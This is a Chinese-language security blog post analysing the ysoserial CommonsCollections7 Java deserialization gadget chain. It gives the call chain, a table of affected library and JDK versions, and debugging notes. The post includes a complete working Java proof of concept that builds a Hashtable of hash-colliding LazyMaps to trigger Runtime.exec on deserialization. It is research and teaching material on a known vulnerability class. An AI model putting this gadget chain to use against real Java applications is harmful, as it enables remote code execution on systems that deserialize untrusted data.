其他分享
首页 > 其他分享> > Ysoserial Commons Collections7分析

Ysoserial Commons Collections7分析

作者:互联网

Ysoserial Commons Collections7分析

写在前面

CommonsCollections Gadget Chains CommonsCollection Version JDK Version Note
CommonsCollections1 CommonsCollections 3.1 - 3.2.1 1.7 (8u71之后已修复不可利用)
CommonsCollections2 CommonsCollections 4.0 暂无限制 javassist
CommonsCollections3 CommonsCollections 3.1 - 3.2.1 1.7 (8u71之后已修复不可利用) javassist
CommonsCollections4 CommonsCollections 4.0 暂无限制 javassist
CommonsCollections5 CommonsCollections 3.1 - 3.2.1 1.8 8u76(实测8u181也可)
CommonsCollections6 CommonsCollections 3.1 - 3.2.1 暂无限制
CommonsCollections7 CommonsCollections 3.1 - 3.2.1 暂无限制

CC7和CC1差不多,只是触发LazyMap.get()的方式不一样,反序列化的入口点变成了Hashtable类

Payload method chain: 因为chain发生了一些变化,这里贴出来先留个印象,放便后续调试时理解

  java.util.Hashtable.readObject
  java.util.Hashtable.reconstitutionPut
  org.apache.commons.collections.map.AbstractMapDecorator.equals
  java.util.AbstractMap.equals
  org.apache.commons.collections.map.LazyMap.get
  org.apache.commons.collections.functors.ChainedTransformer.transform
  org.apache.commons.collections.functors.InvokerTransformer.transform
  java.lang.reflect.Method.invoke
  sun.reflect.DelegatingMethodAccessorImpl.invoke
  sun.reflect.NativeMethodAccessorImpl.invoke
  sun.reflect.NativeMethodAccessorImpl.invoke0
  java.lang.Runtime.exec

poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {


        // Reusing transformer chain and LazyMap gadgets from previous payloads
        final String[] execArgs = new String[]{"open -a Calculator"};

        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        execArgs),
                new ConstantTransformer(1)};

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain,transformers);
//        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
        objectOutputStream.writeObject(hashtable);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
        objectInputStream.readObject();
//            return hashtable;
    }
}

PoC分析

前面部分基本都是CC1的老内容了,主要看下后面有关于Hashtable部分,主要是下面的一段代码

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

首先new了两个HashMap对象,之后分别利用这两个对象作为参数通过LazyMap.decorate()方法new了两个LazyMap对象

抛出问题:注意这里的LazyMap中的yyzZ,这个命名是有说法的。

reconstitutionPut方法中,可以看到zZyy的hash是一样的,但是重点在于index的值,如果不符合语法会导致无法进入for循环也就触发不了后续的利用链

(transformerChain是new的一个空ChainedTransformer对象)后续将这两个LazyMap对象作为参数传入hashtable.put()方法并put两次。抛出问题:为什么要put两次?

调试时发现在Hashtable#readObject()方法有如下一个循环,在这个for循环中去调用的reconstitutionPut方法

第一次循环调用reconstitutionPut方法时并不会走进chain中提到的equals方法,因为tab[index]的值是0,后面才会对tab[index]进行赋值。

第二次才能进入for循环进而调用if判断中的equals方法,这也是为什么hashtable要put两次的原因

调试分析

Hashtable#readObject()下断点,debug,跟进到reconstitutionPut方法

上面也提到了,第一次循环时并不能进入equals方法,这里略去,直接跟进到第二次循环的时候,调用的是LazyMap#equals方法,继续跟进,这里调用的其实是org/apache/commons/collections/map/AbstractMapDecorator的equals方法

调用AbstractMapequals方法

AbstractMap#equals()方法中最终调用了LazyMap.get()

后续就是进入ChainedTransformer#transform()方法,老生常谈的东西了,最终是在InvokerTransformer#transform()中反射调用exec执行命令

END

至此CC1-7就都分析完了,后面几个链分析的内容比较少,大部分都是前面的内容如果觉得不详细可以看之前写的CC1-3的文章,基本都涵盖了后面分析时没深入写的老生常谈的东西。后续应该会去跟一下ysoserial的源码,虽然之前分析URLDNS的时候就简单看过如何生成payload。但是分析cc的时候就没用ysoserial项目的源码(因为封装的太多了:D)之后可能会把CC8-10拿出来写成ysoserial的payload放进去。

Reference

https://www.anquanke.com/post/id/248169
https://www.cnblogs.com/nice0e3/

标签:LazyMap,Collections7,Ysoserial,Commons,commons,collections,Hashtable,put,new
来源: https://www.cnblogs.com/CoLo/p/15433782.html